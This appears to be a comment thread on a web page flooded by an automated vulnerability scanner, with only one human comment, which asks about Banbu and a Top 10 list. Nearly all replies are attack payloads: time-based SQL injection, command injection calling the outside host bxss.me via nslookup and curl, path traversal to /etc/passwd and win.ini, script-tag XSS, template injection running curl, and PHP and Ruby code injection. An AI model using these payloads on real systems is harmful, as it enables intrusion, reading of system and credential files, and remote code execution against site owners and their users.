re: Leo Saito
)
re: Leo Saito
redirtest.acx
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Leo Saito
echo oilgtl$()\ elptue\nz^xyu||a #' &echo oilgtl$()\ elptue\nz^xyu||a #|" &echo oilgtl$()\ elptue\nz^xyu||a #
re: Leo Saito
/etc/shells
re: Leo Saito
&echo soypwb$()\ aiaghq\nz^xyu||a #' &echo soypwb$()\ aiaghq\nz^xyu||a #|" &echo soypwb$()\ aiaghq\nz^xyu||a #
re: Leo Saito
'.gethostbyname(lc('hitbc'.'fbbovhnl827fe.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(69).chr(110).chr(66).'
re: Leo Saito
../../../../../../../../../../../../../../etc/shells
re: Leo Saito
|echo jxgyfd$()\ jhbwep\nz^xyu||a #' |echo jxgyfd$()\ jhbwep\nz^xyu||a #|" |echo jxgyfd$()\ jhbwep\nz^xyu||a #
re: Leo Saito
".gethostbyname(lc("hitgm"."xujatkgpd4e7e.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(69).chr(117).chr(71)."
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
expr 9000610395 - 978124
re: Leo Saito
gethostbyname(lc('hithx'.'azfggwek54d9a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(81).chr(122).chr(84)
re: Leo Saito
bxss.me
re: Leo Saito
(nslookup -q=cname hitpkqjxomocr65050.bxss.me||curl hitpkqjxomocr65050.bxss.me))
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
$(nslookup -q=cname hitfpgqiopupyf9d07.bxss.me||curl hitfpgqiopupyf9d07.bxss.me)
re: Leo Saito
http://bxss.me/t/fit.txt?.jpg
re: Leo Saito
&nslookup -q=cname hitbamxajyfry620cd.bxss.me&'\"`0&nslookup -q=cname hitbamxajyfry620cd.bxss.me&`'
re: Leo Saito
&(nslookup -q=cname hitzbtrmfbrwbc24c0.bxss.me||curl hitzbtrmfbrwbc24c0.bxss.me)&'\"`0&(nslookup -q=cname hitzbtrmfbrwbc24c0.bxss.me||curl hitzbtrmfbrwbc24c0.bxss.me)&`'
re: Leo Saito
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Leo Saito
|(nslookup -q=cname hitupoeotrkvia965a.bxss.me||curl hitupoeotrkvia965a.bxss.me)
re: Leo Saito
`(nslookup -q=cname hitzilslqifecabae7.bxss.me||curl hitzilslqifecabae7.bxss.me)`
re: Leo Saito
;(nslookup -q=cname hithyrndpuyte974f2.bxss.me||curl hithyrndpuyte974f2.bxss.me)|(nslookup -q=cname hithyrndpuyte974f2.bxss.me||curl hithyrndpuyte974f2.bxss.me)&(nslookup -q=cname hithyrndpuyte974f2.bxss.me||curl hithyrndpuyte974f2.bxss.me)
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
|(nslookup${IFS}-q${IFS}cname${IFS}hitytjgwoplkn4803f.bxss.me||curl${IFS}hitytjgwoplkn4803f.bxss.me)
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
'"()
re: Leo Saito
&(nslookup${IFS}-q${IFS}cname${IFS}hitdusqdzeyvo9d59f.bxss.me||curl${IFS}hitdusqdzeyvo9d59f.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdusqdzeyvo9d59f.bxss.me||curl${IFS}hitdusqdzeyvo9d59f.bxss.me)&`'
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
'&&sleep(27*1000)*dypgoi&&'
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
"&&sleep(27*1000)*vjirux&&"
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
'||sleep(27*1000)*fyrzbz||'
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
"||sleep(27*1000)*riolok||"
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(110).concat(74).concat(117).concat(73)+(require"socket"
Socket.gethostbyname("hitqs"+"hjmlpckkc61b4.bxss.me.")[3].to_s)+"
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(116).concat(73).concat(106).concat(77)+(require'socket'
Socket.gethostbyname('hitya'+'xtkvbonx28579.bxss.me.')[3].to_s)+'
re: Leo Saito
'A'.concat(70-3).concat(22*4).concat(108).concat(82).concat(122).concat(78)+(require'socket'
Socket.gethostbyname('hitkg'+'lrgxhytvacf5d.bxss.me.')[3].to_s)
re: Leo Saito
replies
re: Leo Saito
replies
re: Leo Saito
replies/.
re: Leo Saito
'"
re: Leo Saito
<!--
re: Leo Saito
'"()&%<zzz><ScRiPt >lLex(9102)</ScRiPt>
re: Leo Saito
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfmkxkaikgu9655b.bxss.me")}}
re: Leo Saito
'"()&%<zzz><ScRiPt >lLex(9028)</ScRiPt>
re: Leo Saito
9767812
re: Leo Saito
Iz3PMjDV
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
aM6YPSv7'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 815=(SELECT 815 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 425=(SELECT 425 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 784=(SELECT 784 FROM PG_SLEEP(15))--
re: Leo Saito
STwGYFs5' OR 844=(SELECT 844 FROM PG_SLEEP(15))--
re: Leo Saito
OXZWI0hW') OR 781=(SELECT 781 FROM PG_SLEEP(15))--
re: Leo Saito
2ZiHwev4')) OR 377=(SELECT 377 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@isssL
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
YBfD3dyP
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
HItVsiTX'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 786=(SELECT 786 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 215=(SELECT 215 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 580=(SELECT 580 FROM PG_SLEEP(15))--
re: Leo Saito
a7HFjmhD' OR 853=(SELECT 853 FROM PG_SLEEP(15))--
re: Leo Saito
XwOtHjMn') OR 413=(SELECT 413 FROM PG_SLEEP(15))--
re: Leo Saito
Aga53as2')) OR 927=(SELECT 927 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@MJ7O9
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
E6Ql3cE3
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+580-580-1=0+0+0+1
re: Leo Saito
-1 OR 3+580-580-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
P4ka96js'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 795=(SELECT 795 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 226=(SELECT 226 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
re: Leo Saito
uLLbqAYn' OR 723=(SELECT 723 FROM PG_SLEEP(15))--
re: Leo Saito
NRcISMoh') OR 497=(SELECT 497 FROM PG_SLEEP(15))--
re: Leo Saito
Rs9BznIc')) OR 952=(SELECT 952 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@do8I3
re: Leo Saito
Jh3pXxLL
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
7TluU9eB'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 960=(SELECT 960 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 328=(SELECT 328 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 602=(SELECT 602 FROM PG_SLEEP(15))--
re: Leo Saito
NHgsfes1' OR 11=(SELECT 11 FROM PG_SLEEP(15))--
re: Leo Saito
udKJDTme') OR 595=(SELECT 595 FROM PG_SLEEP(15))--
re: Leo Saito
KRZwNx1n')) OR 499=(SELECT 499 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@ffhC2
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
Hi Saito-san. Curious where it would Banbu would slot in your Top 10 list?
re: Eric Yu
hRFDK6NN
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+427-427-1=0+0+0+1
re: Eric Yu
-1 OR 3+427-427-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
L5MTFwoY'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 892=(SELECT 892 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 234=(SELECT 234 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 567=(SELECT 567 FROM PG_SLEEP(15))--
re: Eric Yu
NrKe5Zeb' OR 217=(SELECT 217 FROM PG_SLEEP(15))--
re: Eric Yu
rOgiKGjZ') OR 311=(SELECT 311 FROM PG_SLEEP(15))--
re: Eric Yu
W93B7MLR')) OR 831=(SELECT 831 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@GfgQR
re: Eric Yu
zgdoz3DP
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+425-425-1=0+0+0+1
re: Eric Yu
-1 OR 3+425-425-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
M0suoh8h'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 933=(SELECT 933 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 284=(SELECT 284 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
re: Eric Yu
YBdexiH1' OR 962=(SELECT 962 FROM PG_SLEEP(15))--
re: Eric Yu
ipKWUFaw') OR 342=(SELECT 342 FROM PG_SLEEP(15))--
re: Eric Yu
kVrsC05B')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@NOnPq
re: Eric Yu
1ClZX4kiO
re: Eric Yu
response.write(9431207*9569875)
re: Eric Yu
'+response.write(9431207*9569875)+'
re: Eric Yu
"+response.write(9431207*9569875)+"
re: Eric Yu
../../../../../../../../../../../../../../etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../windows/win.ini
re: Eric Yu
file:///etc/passwd
re: Eric Yu
../../../../../../../../../../../../../../../proc/version
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: Eric Yu
echo kwjxqs$()\ twtayi\nz^xyu||a #' &echo kwjxqs$()\ twtayi\nz^xyu||a #|" &echo kwjxqs$()\ twtayi\nz^xyu||a #
re: Eric Yu
../../../../../../../../../../etc/passwd%00.jpg
re: Eric Yu
&echo uooyjl$()\ evgetq\nz^xyu||a #' &echo uooyjl$()\ evgetq\nz^xyu||a #|" &echo uooyjl$()\ evgetq\nz^xyu||a #
re: Eric Yu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: Eric Yu
|echo kfxbhe$()\ quosmu\nz^xyu||a #' |echo kfxbhe$()\ quosmu\nz^xyu||a #|" |echo kfxbhe$()\ quosmu\nz^xyu||a #
re: Eric Yu
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: Eric Yu
(nslookup hitkcnctgkfybfaea4.bxss.me||perl -e "gethostbyname('hitkcnctgkfybfaea4.bxss.me')")
re: Eric Yu
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: Eric Yu
$(nslookup hitnscagthbzrd65da.bxss.me||perl -e "gethostbyname('hitnscagthbzrd65da.bxss.me')")
re: Eric Yu
/etc/passwd
re: Eric Yu
&nslookup hittdycihctdjb1f5b.bxss.me&'\"`0&nslookup hittdycihctdjb1f5b.bxss.me&`'
re: Eric Yu
%2fetc%2fpasswd
re: Eric Yu
&(nslookup hitoytzwzhssl665d6.bxss.me||perl -e "gethostbyname('hitoytzwzhssl665d6.bxss.me')")&'\"`0&(nslookup hitoytzwzhssl665d6.bxss.me||perl -e "gethostbyname('hitoytzwzhssl665d6.bxss.me')")&`'
re: Eric Yu
/.././.././.././.././.././.././.././../etc/./passwd%00
re: Eric Yu
|(nslookup hitaexulqjimn6c549.bxss.me||perl -e "gethostbyname('hitaexulqjimn6c549.bxss.me')")
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: Eric Yu
`(nslookup hitwailoceleoa82c7.bxss.me||perl -e "gethostbyname('hitwailoceleoa82c7.bxss.me')")`
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: Eric Yu
;(nslookup hitiwfnbmkflt9a906.bxss.me||perl -e "gethostbyname('hitiwfnbmkflt9a906.bxss.me')")|(nslookup hitiwfnbmkflt9a906.bxss.me||perl -e "gethostbyname('hitiwfnbmkflt9a906.bxss.me')")&(nslookup hitiwfnbmkflt9a906.bxss.me||perl -e "gethostbyname('hitiwfnbmkflt9a906.bxss.me')")
re: Eric Yu
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: Eric Yu
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: Eric Yu
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: Eric Yu
file:///etc/passwd
re: Eric Yu
/\../\../\../\../\../\../\../etc/passwd
re: Eric Yu
%0abcc:074625.67-10205.67.dcaaf.19990.2@bxss.me
re: Eric Yu
/WEB-INF/web.xml
re: Eric Yu
to@example.com>%0d%0abcc:074625.67-10206.67.dcaaf.19990.2@bxss.me
re: Eric Yu
C:\WINDOWS\system32\drivers\etc\hosts
re: Eric Yu
../../../../../../../../../../windows/win.ini%00.jpg
re: Eric Yu
/../../../../../../../../../../boot.ini
re: Eric Yu
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Eric Yu
..\..\..\..\..\..\..\..\windows\win.ini
re: Eric Yu
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Eric Yu
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Eric Yu
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Eric Yu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Eric Yu
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.